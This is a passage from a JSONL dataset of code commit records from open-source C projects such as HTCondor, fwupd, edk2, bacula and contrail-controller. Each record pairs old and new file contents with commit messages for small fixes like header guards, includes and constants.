License.\n*\n***************************************************************\/\n\n\/\/ Encapsulate the linux peformance counter, for insn retired\n\/\/ Note this is included in the procd, so we can't use full condor libraries\n\n#ifndef __PERF_COUNTER_H\n#define  _PERF_COUNTER_H\n\n#include <sys\/types.h>\n\nclass PerfCounter {\n\tpublic:\n\t\tPerfCounter(pid_t pid);\n\t\tvirtual ~PerfCounter();\n\t\tvoid start() const;\n\t\tvoid stop() const;\n\t\tlong long getInsns() const;\n\tprivate:\n\t\tpid_t pid;\n\t\tint fd;\n};\n\n#endif\n","new_contents":"\/***************************************************************\n*\n* Copyright (C) 1990-2021, Condor Team, Computer Sciences Department,\n* University of Wisconsin-Madison, WI.\n* \n* Licensed under the Apache License, Version 2.0 (the \"License\"); you\n* may not use this file except in compliance with the License.  You may\n* obtain a copy of the License at\n* \n*    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n* \n* Unless required by applicable law or agreed to in writing, software\n* distributed under the License is distributed on an \"AS IS\" BASIS,\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n* See the License for the specific language governing permissions and\n* limitations under the License.\n*\n***************************************************************\/\n\n\/\/ Encapsulate the linux peformance counter, for insn retired\n\/\/ Note this is included in the procd, so we can't use full condor libraries\n\n#ifndef __PERF_COUNTER_H\n#define __PERF_COUNTER_H\n\n#include <sys\/types.h>\n\nclass PerfCounter {\n\tpublic:\n\t\tPerfCounter(pid_t pid);\n\t\tvirtual ~PerfCounter();\n\t\tvoid start() const;\n\t\tvoid stop() const;\n\t\tlong long getInsns() const;\n\tprivate:\n\t\tpid_t pid;\n\t\tint fd;\n};\n\n#endif\n","subject":"Fix typo in macro guard HTCONDOR-390","message":"Fix typo in macro guard HTCONDOR-390\n","lang":"C","license":"apache-2.0","repos":"htcondor\/htcondor,htcondor\/htcondor,htcondor\/htcondor,htcondor\/htcondor,htcondor\/htcondor,htcondor\/htcondor,htcondor\/htcondor,htcondor\/htcondor"}
{"commit":"0f427d7730b007e8740fff16d9a7b0dc5ebb692a","old_file":"TMCache\/TMCacheBackgroundTaskManager.h","new_file":"TMCache\/TMCacheBackgroundTaskManager.h","old_contents":"\/\/\n\/\/  TMCacheBackgroundTaskManager.h\n\/\/  TMCache\n\/\/\n\/\/  Created by Bryan Irace on 4\/24\/15.\n\/\/  Copyright (c) 2015 Tumblr. All rights reserved.\n\/\/\n\n@import UIKit;\n\n\/**\n A protocol that classes who can begin and end background tasks can conform to. This protocol provides an abstraction in\n order to avoid referencing `+ [UIApplication sharedApplication]` from within an iOS application extension.\n *\/\n@protocol TMCacheBackgroundTaskManager <NSObject>\n\n\/**\n Marks the beginning of a new long-running background task.\n \n @return A unique identifier for the new background task. You must pass this value to the `endBackgroundTask:` method to\n mark the end of this task. This method returns `UIBackgroundTaskInvalid` if running in the background is not possible.\n *\/\n- (UIBackgroundTaskIdentifier)beginBackgroundTask;\n\n\/**\n Marks the end of a specific long-running background task.\n \n @param identifier An identifier returned by the `beginBackgroundTaskWithExpirationHandler:` method.\n *\/\n- (void)endBackgroundTask:(UIBackgroundTaskIdentifier)identifier;\n\n@end\n","new_contents":"\/\/\n\/\/  TMCacheBackgroundTaskManager.h\n\/\/  TMCache\n\/\/\n\/\/  Created by Bryan Irace on 4\/24\/15.\n\/\/  Copyright (c) 2015 Tumblr. All rights reserved.\n\/\/\n\n@import UIKit;\n\n#ifndef __IPHONE_OS_VERSION_MIN_REQUIRED\ntypedef NSUInteger UIBackgroundTaskIdentifier;\n#endif\n\n\/**\n A protocol that classes who can begin and end background tasks can conform to. This protocol provides an abstraction in\n order to avoid referencing `+ [UIApplication sharedApplication]` from within an iOS application extension.\n *\/\n@protocol TMCacheBackgroundTaskManager <NSObject>\n\n\/**\n Marks the beginning of a new long-running background task.\n \n @return A unique identifier for the new background task. You must pass this value to the `endBackgroundTask:` method to\n mark the end of this task. This method returns `UIBackgroundTaskInvalid` if running in the background is not possible.\n *\/\n- (UIBackgroundTaskIdentifier)beginBackgroundTask;\n\n\/**\n Marks the end of a specific long-running background task.\n \n @param identifier An identifier returned by the `beginBackgroundTaskWithExpirationHandler:` method.\n *\/\n- (void)endBackgroundTask:(UIBackgroundTaskIdentifier)identifier;\n\n@end\n","subject":"Define UIBackgroundTaskIdentifier if on OS X","message":"Define UIBackgroundTaskIdentifier if on OS X\n","lang":"C","license":"apache-2.0","repos":"paulkite\/TMCache,paulkite\/TMCache"}
{"commit":"6f435b65aea63975a33c18e251654c56bacb38b5","old_file":"private\/TupleManipulation.h","new_file":"private\/TupleManipulation.h","old_contents":"#pragma once\n\nnamespace TupleManipulation {\n\n   template<int... Integers>\n   struct sequence { };\n\n   template<int N, int... Integers>\n   struct gen_sequence : public gen_sequence<N - 1, N - 1, Integers...> { };\n\n   template<int... Integers>\n   struct gen_sequence<0, Integers...> : public sequence<Integers...> { };\n\n   template<typename Tuple, typename Functor, int... Integers>\n   void for_each(Tuple&& tuple, Functor functor, sequence<Integers...>)\n   {\n      auto l = { (functor(std::get<Integers>(tuple)), 0)... };\n      (void)l;\n   }\n\n   template<typename... Types, typename Functor>\n   void for_each_in_tuple(std::tuple<Types...> & tuple, Functor functor)\n   {\n       for_each(tuple, functor, gen_sequence<sizeof...(Types)>());\n   }\n\n   template <typename T, typename Tuple>\n   struct has_type;\n\n   template <typename T>\n   struct has_type<T, std::tuple<>> \n   {\n      static constexpr bool value = false;\n   };\n\n   template <typename T, typename U, typename... Ts>\n   struct has_type<T, std::tuple<U, Ts...>> : has_type<T, std::tuple<Ts...>> {};\n\n   template <typename T, typename... Ts>\n   struct has_type<T, std::tuple<T, Ts...>> : std::true_type \n   {\n      static constexpr bool value = true;\n   };\n}\n\n","new_contents":"#pragma once\n\nnamespace TupleManipulation {\n\n   template<int... Integers>\n   struct sequence { };\n\n   template<int N, int... Integers>\n   struct gen_sequence : public gen_sequence<N - 1, N - 1, Integers...> { };\n\n   template<int... Integers>\n   struct gen_sequence<0, Integers...> : public sequence<Integers...> { };\n\n   template<typename Tuple, typename Functor, int... Integers>\n   void for_each(Tuple&& tuple, Functor functor, sequence<Integers...>)\n   {\n      auto l = { (functor(std::get<Integers>(tuple)), 0)... };\n      (void)l;\n   }\n\n   template<typename... Types, typename Functor>\n   void for_each_in_tuple(std::tuple<Types...> & tuple, Functor functor)\n   {\n       for_each(tuple, functor, gen_sequence<sizeof...(Types)>());\n   }\n\n   template <typename T, typename Tuple>\n   struct has_type;\n\n   template <typename T>\n   struct has_type<T, std::tuple<>> \n   {\n      static constexpr bool value = false;\n   };\n\n   template <typename T, typename U, typename... Ts>\n   struct has_type<T, std::tuple<U, Ts...>> : public has_type<T, std::tuple<Ts...>> {};\n\n   template <typename T, typename... Ts>\n   struct has_type<T, std::tuple<T, Ts...>> : public std::true_type \n   {\n      static constexpr bool value = true;\n   };\n}\n\n","subject":"Fix compiler warning in IAR","message":"Fix compiler warning in IAR\n","lang":"C","license":"mit","repos":"PabloMansanet\/Panku,PabloMansanet\/Panku"}
{"commit":"a721476360ad88fa3e28202b4a399af3e7da2259","old_file":"src\/Engine\/windowManager.h","new_file":"src\/Engine\/windowManager.h","old_contents":"﻿#ifndef windowManager_H\n#define windowManager_H\n\n#include <iostream>\n\n\/\/ GLEW\n#define GLEW_STATIC\n#include <GL\/glew.h>\n\n\/\/ GLFW\n#include <GLFW\/glfw3.h>\n\nclass windowManager\n{\npublic:\n\t\n\tvoid init();\n\tvoid windowManager::getScreenSize();\n\t\/\/Functions to return dimensions of window\n\tint getWindowHeight();\n\tint getWindowWidth();\n\tGLFWwindow* getWindow();\nprivate:\n\t\/\/The window height\n\tint width;\n\tint height;\n\tGLFWwindow* currentWindow;\n};\n\n\n#endif\n","new_contents":"﻿#ifndef windowManager_H\n#define windowManager_H\n\n#include <iostream>\n\n\/\/ GLEW\n#define GLEW_STATIC\n#include <GL\/glew.h>\n\n\/\/ GLFW\n#include <GLFW\/glfw3.h>\n\nclass windowManager\n{\npublic:\n\t\n\tvoid init();\n\tvoid getScreenSize();\n\t\/\/Functions to return dimensions of window\n\tint getWindowHeight();\n\tint getWindowWidth();\n\tGLFWwindow* getWindow();\nprivate:\n\t\/\/The window height\n\tint width;\n\tint height;\n\tGLFWwindow* currentWindow;\n};\n\n\n#endif\n","subject":"Fix building error on Linux","message":"Fix building error on Linux\n","lang":"C","license":"apache-2.0","repos":"Afrostie\/Mopviewer"}
{"commit":"4b405904603ee76220a24b92d4fce1689592836f","old_file":"plugins\/solokey\/fu-plugin-solokey.c","new_file":"plugins\/solokey\/fu-plugin-solokey.c","old_contents":"\/*\n * Copyright (C) 2019 Richard Hughes <richard@hughsie.com>\n *\n * SPDX-License-Identifier: LGPL-2.1+\n *\/\n\n#include \"config.h\"\n\n#include \"fu-plugin-vfuncs.h\"\n\n#include \"fu-solokey-device.h\"\n\nvoid\nfu_plugin_init (FuPlugin *plugin)\n{\n\tfu_plugin_set_build_hash (plugin, FU_BUILD_HASH);\n\tfu_plugin_add_rule (plugin, FU_PLUGIN_RULE_SUPPORTS_PROTOCOL, \"com.solokeys\");\n\tfu_plugin_set_device_gtype (plugin, FU_TYPE_SOLOKEY_DEVICE);\n}\n","new_contents":"\/*\n * Copyright (C) 2019 Richard Hughes <richard@hughsie.com>\n *\n * SPDX-License-Identifier: LGPL-2.1+\n *\/\n\n#include \"config.h\"\n\n#include \"fu-plugin-vfuncs.h\"\n\n#include \"fu-solokey-device.h\"\n#include \"fu-solokey-firmware.h\"\n\nvoid\nfu_plugin_init (FuPlugin *plugin)\n{\n\tfu_plugin_set_build_hash (plugin, FU_BUILD_HASH);\n\tfu_plugin_add_rule (plugin, FU_PLUGIN_RULE_SUPPORTS_PROTOCOL, \"com.solokeys\");\n\tfu_plugin_set_device_gtype (plugin, FU_TYPE_SOLOKEY_DEVICE);\n\tfu_plugin_add_firmware_gtype (plugin, \"solokey\", FU_TYPE_SOLOKEY_FIRMWARE);\n}\n","subject":"Allow parsing firmware with fwupdtool","message":"solokey: Allow parsing firmware with fwupdtool\n","lang":"C","license":"lgpl-2.1","repos":"fwupd\/fwupd,fwupd\/fwupd,hughsie\/fwupd,fwupd\/fwupd,hughsie\/fwupd,hughsie\/fwupd,hughsie\/fwupd,fwupd\/fwupd"}
{"commit":"e5ac979a8b86bedf6d0ca74806c0cbfd6feebb20","old_file":"IntelFrameworkPkg\/Include\/Protocol\/Crc32GuidedSectionExtraction.h","new_file":"IntelFrameworkPkg\/Include\/Protocol\/Crc32GuidedSectionExtraction.h","old_contents":"","new_contents":"\/** @file\r\n  This file declares GUIDed section extraction protocol.\r\n\r\n  This interface provides a means of decoding a GUID defined encapsulation \r\n  section. There may be multiple different GUIDs associated with the GUIDed\r\n  section extraction protocol. That is, all instances of the GUIDed section\r\n  extraction protocol must have the same interface structure.\r\n\r\n  Copyright (c) 2006, Intel Corporation                                                         \r\n  All rights reserved. This program and the accompanying materials                          \r\n  are licensed and made available under the terms and conditions of the BSD License         \r\n  which accompanies this distribution.  The full text of the license may be found at        \r\n  http:\/\/opensource.org\/licenses\/bsd-license.php                                            \r\n\r\n  THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,                     \r\n  WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.             \r\n\r\n  Module Name:  GuidedSectionExtraction.h\r\n\r\n  @par Revision Reference:\r\n  This protocol is defined in Firmware Volume Specification.\r\n  Version 0.9\r\n\r\n**\/\r\n\r\n#ifndef __CRC32_GUIDED_SECTION_EXTRACTION_PROTOCOL_H__\r\n#define __CRC32_GUIDED_SECTION_EXTRACTION_PROTOCOL_H__\r\n\r\n\r\n\/\/\r\n\/\/ Protocol GUID definition. Each GUIDed section extraction protocol has the\r\n\/\/ same interface but with different GUID. All the GUIDs is defined here.\r\n\/\/ May add multiple GUIDs here.\r\n\/\/\r\n#define EFI_CRC32_GUIDED_SECTION_EXTRACTION_PROTOCOL_GUID \\\r\n  { \\\r\n    0xFC1BCDB0, 0x7D31, 0x49aa, {0x93, 0x6A, 0xA4, 0x60, 0x0D, 0x9D, 0xD0, 0x83 } \\\r\n  }\r\n\r\n\/\/\r\n\/\/ may add other GUID here\r\n\/\/\r\nextern EFI_GUID gEfiCrc32GuidedSectionExtractionProtocolGuid;\r\n\r\n#endif\r\n","subject":"Rename GuidedSectionExtraction.h to Crc32GuidedSectonExtraction.h to avoid naming collision with that in MdePkg. Remove the duplicate definition.","message":"Rename GuidedSectionExtraction.h to Crc32GuidedSectonExtraction.h to avoid naming collision with that in MdePkg.\nRemove the duplicate definition.\n\ngit-svn-id: 5648d1bec6962b0a6d1d1b40eba8cf5cdb62da3d@2821 6f19259b-4bc3-4df7-8a09-765794883524\n","lang":"C","license":"bsd-2-clause","repos":"MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2"}
{"commit":"5929f9c0d0dd4510eb0a38f626b981666a179b78","old_file":"bottleopener\/shiftrConnector.h","new_file":"bottleopener\/shiftrConnector.h","old_contents":"#pragma once\n\n#include <YunMQTTClient.h>\n\nclass ShiftrConnector {\n\n  public :\n    void sendCounter(int counter);\n\n    void init();\n\n    void loop();\n\n    \/\/default constructor\n    ShiftrConnector() {};\n\n  private :\n    YunMQTTClient client;\n\n    void connect();\n};\n\n","new_contents":"#pragma once\n\n\/\/https:\/\/github.com\/256dpi\/arduino-mqtt\n#include <YunMQTTClient.h>\n\nclass ShiftrConnector {\n\n  public :\n    void sendCounter(int counter);\n\n    void init();\n\n    void loop();\n\n    \/\/default constructor\n    ShiftrConnector() {};\n\n  private :\n    YunMQTTClient client;\n\n    void connect();\n};\n\n","subject":"Add link to the library","message":"Add link to the library\n","lang":"C","license":"mit","repos":"Zenika\/bottleopener_iot,Zenika\/bottleopener_iot,Zenika\/bottleopener_iot,Zenika\/bottleopener_iot"}
{"commit":"52a4ae2b1dbc35f768406dc831ae980ca3f43244","old_file":"snapshots\/hacl-c-experimental\/aead_chacha20_poly1305.h","new_file":"snapshots\/hacl-c-experimental\/aead_chacha20_poly1305.h","old_contents":"#include \"Chacha20.h\"\n#include \"Poly1305_64.h\"\n\nvoid blit(uint8_t* src, uint32_t len, uint8_t* dest, uint32_t pos);\n\nvoid poly1305_key_gen(uint8_t* otk, uint8_t* key, uint8_t* nonce);\n\nuint32_t hacl_aead_chacha20_poly1305_encrypt(uint8_t *plaintext,  uint32_t plaintext_len,\n                                             uint8_t *aad,        uint32_t aad_len,\n                                             uint8_t *key,        uint8_t *iv,\n                                             uint8_t *ciphertext, uint8_t *tag);\n","new_contents":"#include \"Chacha20.h\"\n#include \"Poly1305_64.h\"\n\nvoid poly1305_key_gen(uint8_t* otk, uint8_t* key, uint8_t* nonce);\n\nuint32_t hacl_aead_chacha20_poly1305_encrypt(uint8_t *plaintext,  uint32_t plaintext_len,\n                                             uint8_t *aad,        uint32_t aad_len,\n                                             uint8_t *key,        uint8_t *iv,\n                                             uint8_t *ciphertext, uint8_t *tag);\n","subject":"Remove exposed function from AEAD Chacha20 Poly1305 code","message":"Remove exposed function from AEAD Chacha20 Poly1305 code\n","lang":"C","license":"apache-2.0","repos":"mitls\/hacl-star,mitls\/hacl-star,mitls\/hacl-star,mitls\/hacl-star,mitls\/hacl-star,mitls\/hacl-star,mitls\/hacl-star,mitls\/hacl-star,mitls\/hacl-star"}
{"commit":"d0a65bfeac62294ce218c3d4c2d57c7bfca6ad20","old_file":"RandomNumbers.h","new_file":"RandomNumbers.h","old_contents":"\/*===- RandomNumbers.h - libSimulation -========================================\n*\n*                                  DEMON\n*\n* This file is distributed under the BSD Open Source License. See LICENSE.TXT \n* for details.\n*\n*===-----------------------------------------------------------------------===*\/\n\n#ifndef RANDOMNUMBERS\n#define RANDOMNUMBERS\n\n#include <random>\n#include \"VectorCompatibility.h\"\n\nclass RandomNumbers {\npublic:\n\tRandomNumbers();\n\t~RandomNumbers() {}\n\t\n\tconst double uniformZeroToOne();\n\tconst double uniformZeroToTwoPi();\n\tconst double guassian(std::normal_distribution<double> &dist);\n\t\nprivate:\n\tstd::mt19937_64 engine;\n\t\n\tstd::uniform_real_distribution<double> zeroToOne;\n\tstd::uniform_real_distribution<double> zeroToTwoPi;\n};\n\nclass RandCache {\npublic:\n\t__m128d r;\n\tdouble l, h;\n\t\n\tRandCache(const __m128d r_ = _mm_set1_pd(0.0), \n\t\t\t  const double l_ = 0.0, const double h_ = 0.0) \n\t: r(r_), l(l_), h(h_) {}\n};\n\n#endif \/\/ RANDOMNUMBERS\n","new_contents":"\/*===- RandomNumbers.h - libSimulation -========================================\n*\n*                                  DEMON\n*\n* This file is distributed under the BSD Open Source License. See LICENSE.TXT \n* for details.\n*\n*===-----------------------------------------------------------------------===*\/\n\n#ifndef RANDOMNUMBERS\n#define RANDOMNUMBERS\n\n#include <random>\n#include \"VectorCompatibility.h\"\n\nclass RandomNumbers {\npublic:\n\tRandomNumbers();\n\t~RandomNumbers() {}\n\t\n\tconst double uniformZeroToOne();\n\tconst double uniformZeroToTwoPi();\n\tconst double guassian(std::normal_distribution<double> &dist);\n\t\nprivate:\n\tstd::mt19937_64 engine;\n\t\n\tstd::uniform_real_distribution<double> zeroToOne;\n\tstd::uniform_real_distribution<double> zeroToTwoPi;\n};\n\n\/\/ Structure to hold precomuted random numbers for use with thermal forces.\nstruct RandCache {\n\t__m128d r;\n\tdouble l, h;\n\t\n\tRandCache(const __m128d r_ = _mm_set1_pd(0.0), \n\t\t\t  const double l_ = 0.0, const double h_ = 0.0) \n\t: r(r_), l(l_), h(h_) {}\n};\n\n#endif \/\/ RANDOMNUMBERS\n","subject":"Change rand cache to a struct since everything is public. Add comment.","message":"Change rand cache to a struct since everything is public. Add comment.","lang":"C","license":"bsd-3-clause","repos":"leios\/demonsimulationcode,leios\/demonsimulationcode"}
{"commit":"867fea2c7e060a1ed593e6728042effbe7274f1b","old_file":"iface.h","new_file":"iface.h","old_contents":"#ifndef IFACE_H_INCLUDED\n#define IFACE_H_INCLUDED\n\n#include <fcntl.h>\n\ntypedef struct funcs_t {\n\tunsigned char *(*get_mem_buf_hash)(unsigned char *mem_buf, unsigned long int mem_size);\n\tunsigned char *(*hash_to_str)(unsigned char *mem_hash);\n\tint (*is_mem_buf_dumped)(unsigned char *mem_hash);\n\tvoid (*dump_mem_buf)(unsigned char *mem_buf, unsigned long int mem_size, char *fname);\n} funcs_t;\n\ntypedef struct plugin_t {\n\tvoid *hndl;\n\tchar *name;\n\tchar *description;\n\tstruct plugin_t *next;\n} plugin_t;\n\n#endif","new_contents":"#ifndef IFACE_H_INCLUDED\n#define IFACE_H_INCLUDED\n\n#include <fcntl.h>\n\ntypedef struct plugin_t {\n\tvoid *hndl;\n\tchar *name;\n\tchar *description;\n\tstruct plugin_t *next;\n} plugin_t;\n\n#ifdef __cplusplus\nextern \"C\" plugin_t *init();\n#endif\n\n#endif","subject":"Make plugins's init() function external C","message":"Make plugins's init() function external C\n","lang":"C","license":"unlicense","repos":"alexandernst\/memory-dumper"}
{"commit":"f325ae16249c115a28ce6a92d179315085ed13b9","old_file":"bacula\/src\/version.h","new_file":"bacula\/src\/version.h","old_contents":"\/* *\/\n#undef  VERSION\n#define VERSION \"1.35.2\"\n#define BDATE   \"28 August 2004\"\n#define LSMDATE \"28Aug04\"\n\n\/* Debug flags *\/\n#undef  DEBUG\n#define DEBUG 1\n#define TRACEBACK 1\n#define SMCHECK     \n#define TRACE_FILE 1  \n\n\n\/* Debug flags not normally turned on *\/\n\n\/* #define TRACE_JCR_CHAIN 1 *\/\n\/* #define TRACE_RES 1 *\/\n\/* #define DEBUG_MEMSET 1 *\/\n#define DEBUG_BLOCK_ZEROING 1\n\n\/* #define FULL_DEBUG 1 *\/   \/* normally on for testing only *\/\n\n\/* Turn this on ONLY if you want all Dmsg() to append to the\n *   trace file. Implemented mainly for Win32 ...\n *\/\n\/*  #define SEND_DMSG_TO_FILE 1 *\/\n\n\n\/* #define NO_ATTRIBUTES_TEST 1 *\/\n\/* #define NO_TAPE_WRITE_TEST 1 *\/\n\/* #define FD_NO_SEND TEST 1 *\/\n\/* #define DEBUG_MUTEX 1 *\/\n","new_contents":"\/* *\/\n#undef  VERSION\n#define VERSION \"1.35.2\"\n#define BDATE   \"30 August 2004\"\n#define LSMDATE \"30Aug04\"\n\n\/* Debug flags *\/\n#undef  DEBUG\n#define DEBUG 1\n#define TRACEBACK 1\n#define SMCHECK     \n#define TRACE_FILE 1  \n\n\n\/* Debug flags not normally turned on *\/\n\n\/* #define TRACE_JCR_CHAIN 1 *\/\n\/* #define TRACE_RES 1 *\/\n\/* #define DEBUG_MEMSET 1 *\/\n#define DEBUG_BLOCK_ZEROING 1\n\n\/* #define FULL_DEBUG 1 *\/   \/* normally on for testing only *\/\n\n\/* Turn this on ONLY if you want all Dmsg() to append to the\n *   trace file. Implemented mainly for Win32 ...\n *\/\n\/*  #define SEND_DMSG_TO_FILE 1 *\/\n\n\n\/* #define NO_ATTRIBUTES_TEST 1 *\/\n\/* #define NO_TAPE_WRITE_TEST 1 *\/\n\/* #define FD_NO_SEND TEST 1 *\/\n\/* #define DEBUG_MUTEX 1 *\/\n","subject":"Update manual Fix CDROM script to handle non-existant files","message":"Update manual\nFix CDROM script to handle non-existant files\n\n\ngit-svn-id: bb0627f6f70d46b61088c62c6186faa4b96a9496@1568 91ce42f0-d328-0410-95d8-f526ca767f89\n","lang":"C","license":"agpl-3.0","repos":"rkorzeniewski\/bacula,rkorzeniewski\/bacula,rkorzeniewski\/bacula,rkorzeniewski\/bacula,rkorzeniewski\/bacula,rkorzeniewski\/bacula,rkorzeniewski\/bacula,rkorzeniewski\/bacula"}
{"commit":"c343de856dbe3f7049ad0193911216b3e7acdc54","old_file":"PSET2\/caesar.c","new_file":"PSET2\/caesar.c","old_contents":"#include <stdio.h>\n#include <cs50.h>\n\nint main(int argc, char *argv[]) {\n\n    \/\/ check entered key\n    if (argc != 2 || atoi(argv[1]) < 0) {\n        printf(\"Usage: .\/caesar k\\nWhere k is a non negative integer.\\n\");\n        return 1;\n    }\n\n    int key = atoi(argv[1]);\n\n\n\n    return 0;\n}\n","new_contents":"#include <stdio.h>\n#include <cs50.h>\n#include <string.h>\n#define ALPHA_NUM 26\n\nint main(int argc, char *argv[]) {\n\n    \/\/ check argument number and argument key to be greater than -1\n    if (argc != 2 || atoi(argv[1]) < 0) {\n        printf(\"Usage (k >= 0):\\n.\/caesar k \\n\");\n        return 1;\n    }\n\n    int key = atoi(argv[1]) % ALPHA_NUM;\n\n    \/\/ get plaintext from user\n    printf(\"plaintext: \");\n    string plaintext = get_string();\n    printf(\"\\n\");\n\n    string ciphertext = \"\";\n\n    \/\/ encode plaintext\n    size_t text_len = strlen(plaintext);\n    for (int i = 0; i < text_len; ++i) {\n        \n    }\n\n\n\n    return 0;\n}\n","subject":"Add unfinished loop to encode message","message":"Add  unfinished loop to encode message\n","lang":"C","license":"unlicense","repos":"Implaier\/CS50,Implaier\/CS50,Implaier\/CS50,Implaier\/CS50"}
{"commit":"c706f245992f760afdb7d41d3f40c60b3d85ee89","old_file":"src\/bgp\/security_group\/security_group.h","new_file":"src\/bgp\/security_group\/security_group.h","old_contents":"\/*\n * Copyright (c) 2013 Juniper Networks, Inc. All rights reserved.\n *\/\n\n#ifndef SRC_BGP_SECURITY_GROUP_SECURITY_GROUP_H_\n#define SRC_BGP_SECURITY_GROUP_SECURITY_GROUP_H_\n\n#include <boost\/array.hpp>\n#include <boost\/system\/error_code.hpp>\n\n#include <string>\n\n#include \"base\/parse_object.h\"\n#include \"bgp\/bgp_common.h\"\n\nclass SecurityGroup {\npublic:\n    static const int kSize = 8;\n    static const uint32_t kMinGlobalId = 1000000;\n    static const uint32_t kMaxGlobalId = 1999999;\n    typedef boost::array<uint8_t, kSize> bytes_type;\n\n    SecurityGroup(as_t asn, uint32_t id);\n    explicit SecurityGroup(const bytes_type &data);\n\n    as_t as_number() const;\n    uint32_t security_group_id() const;\n    bool IsGlobal() const;\n\n    const bytes_type &GetExtCommunity() const {\n        return data_;\n    }\n\n    const uint64_t GetExtCommunityValue() const {\n        return get_value(data_.begin(), 8);\n    }\n    std::string ToString();\n\nprivate:\n    bytes_type data_;\n};\n\n#endif  \/\/ SRC_BGP_SECURITY_GROUP_SECURITY_GROUP_H_\n","new_contents":"\/*\n * Copyright (c) 2013 Juniper Networks, Inc. All rights reserved.\n *\/\n\n#ifndef SRC_BGP_SECURITY_GROUP_SECURITY_GROUP_H_\n#define SRC_BGP_SECURITY_GROUP_SECURITY_GROUP_H_\n\n#include <boost\/array.hpp>\n#include <boost\/system\/error_code.hpp>\n\n#include <string>\n\n#include \"base\/parse_object.h\"\n#include \"bgp\/bgp_common.h\"\n\nclass SecurityGroup {\npublic:\n    static const int kSize = 8;\n    static const uint32_t kMinGlobalId = 1;\n    static const uint32_t kMaxGlobalId = 7999999;\n    typedef boost::array<uint8_t, kSize> bytes_type;\n\n    SecurityGroup(as_t asn, uint32_t id);\n    explicit SecurityGroup(const bytes_type &data);\n\n    as_t as_number() const;\n    uint32_t security_group_id() const;\n    bool IsGlobal() const;\n\n    const bytes_type &GetExtCommunity() const {\n        return data_;\n    }\n\n    const uint64_t GetExtCommunityValue() const {\n        return get_value(data_.begin(), 8);\n    }\n    std::string ToString();\n\nprivate:\n    bytes_type data_;\n};\n\n#endif  \/\/ SRC_BGP_SECURITY_GROUP_SECURITY_GROUP_H_\n","subject":"Update min\/max global SGIDs values to match Schema Transformer","message":"Update min\/max global SGIDs values to match Schema Transformer\n\nChange-Id: I63d5634e9a374ce33e9e0e779caf499e8fbccdec\nCloses-Bug: 1381145\n","lang":"C","license":"apache-2.0","repos":"rombie\/contrail-controller,eonpatapon\/contrail-controller,cloudwatt\/contrail-controller,cloudwatt\/contrail-controller,srajag\/contrail-controller,DreamLab\/contrail-controller,rombie\/contrail-controller,reiaaoyama\/contrail-controller,vmahuli\/contrail-controller,nischalsheth\/contrail-controller,numansiddique\/contrail-controller,srajag\/contrail-controller,srajag\/contrail-controller,DreamLab\/contrail-controller,hthompson6\/contrail-controller,srajag\/contrail-controller,numansiddique\/contrail-controller,nischalsheth\/contrail-controller,tcpcloud\/contrail-controller,rombie\/contrail-controller,cloudwatt\/contrail-controller,vmahuli\/contrail-controller,nischalsheth\/contrail-controller,sajuptpm\/contrail-controller,reiaaoyama\/contrail-controller,reiaaoyama\/contrail-controller,vmahuli\/contrail-controller,tcpcloud\/contrail-controller,rombie\/contrail-controller,codilime\/contrail-controller,vpramo\/contrail-controller,sajuptpm\/contrail-controller,vpramo\/contrail-controller,srajag\/contrail-controller,tcpcloud\/contrail-controller,eonpatapon\/contrail-controller,eonpatapon\/contrail-controller,nischalsheth\/contrail-controller,codilime\/contrail-controller,codilime\/contrail-controller,codilime\/contrail-controller,tcpcloud\/contrail-controller,facetothefate\/contrail-controller,sajuptpm\/contrail-controller,rombie\/contrail-controller,DreamLab\/contrail-controller,vpramo\/contrail-controller,eonpatapon\/contrail-controller,rombie\/contrail-controller,facetothefate\/contrail-controller,facetothefate\/contrail-controller,nischalsheth\/contrail-controller,nischalsheth\/contrail-controller,numansiddique\/contrail-controller,eonpatapon\/contrail-controller,numansiddique\/contrail-controller,numansiddique\/contrail-controller,reiaaoyama\/contrail-controller,sajuptpm\/contrail-controller,vpramo\/contrail-controller,codilime\/contrail-controller,tcpcloud\/contrail-controller,sajuptpm\/contrail-controller,sajuptpm\/contrail-controller,facetothefate\/contrail-controller,nischalsheth\/contrail-controller,facetothefate\/contrail-controller,hthompson6\/contrail-controller,DreamLab\/contrail-controller,hthompson6\/contrail-controller,DreamLab\/contrail-controller,eonpatapon\/contrail-controller,codilime\/contrail-controller,vmahuli\/contrail-controller,hthompson6\/contrail-controller,rombie\/contrail-controller,eonpatapon\/contrail-controller,vmahuli\/contrail-controller,tcpcloud\/contrail-controller,cloudwatt\/contrail-controller,vpramo\/contrail-controller,hthompson6\/contrail-controller,nischalsheth\/contrail-controller,reiaaoyama\/contrail-controller,cloudwatt\/contrail-controller"}
{"commit":"1f0cf96991c2601d361416ca067be796e8b54494","old_file":"blogcomment_p.h","new_file":"blogcomment_p.h","old_contents":"","new_contents":"\/*\n  This file is part of the kblog library.\n\n  Copyright (c) 2006-2007 Christian Weilbach <christian_weilbach@web.de>\n  Copyright (c) 2007 Mike Arthur <mike@mikearthur.co.uk>\n\n  This library is free software; you can redistribute it and\/or\n  modify it under the terms of the GNU Library General Public\n  License as published by the Free Software Foundation; either\n  version 2 of the License, or (at your option) any later version.\n\n  This library is distributed in the hope that it will be useful,\n  but WITHOUT ANY WARRANTY; without even the implied warranty of\n  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n  Library General Public License for more details.\n\n  You should have received a copy of the GNU Library General Public License\n  along with this library; see the file COPYING.LIB.  If not, write to\n  the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n  Boston, MA 02110-1301, USA.\n*\/\n\n#ifndef BLOGPOSTINGCOMMENT_P_H\n#define BLOGPOSTINGCOMMENT_P_H\n\n#include \"blogcomment.h\"\n\n#include <KDateTime>\n#include <KUrl>\n\nnamespace KBlog{\n\nclass BlogCommentPrivate\n{\n  public:\n    BlogComment *q_ptr;\n    QString mTitle;\n    QString mContent;\n    QString mEmail;\n    QString mName;\n    QString mCommentId;\n    KUrl mUrl;\n    QString mError;\n    BlogComment::Status mStatus;\n    KDateTime mModificationDateTime;\n    KDateTime mCreationDateTime;\n};\n\n} \/\/ namespace KBlog\n#endif\n","subject":"Add file that SVN somehow missed.","message":"Add 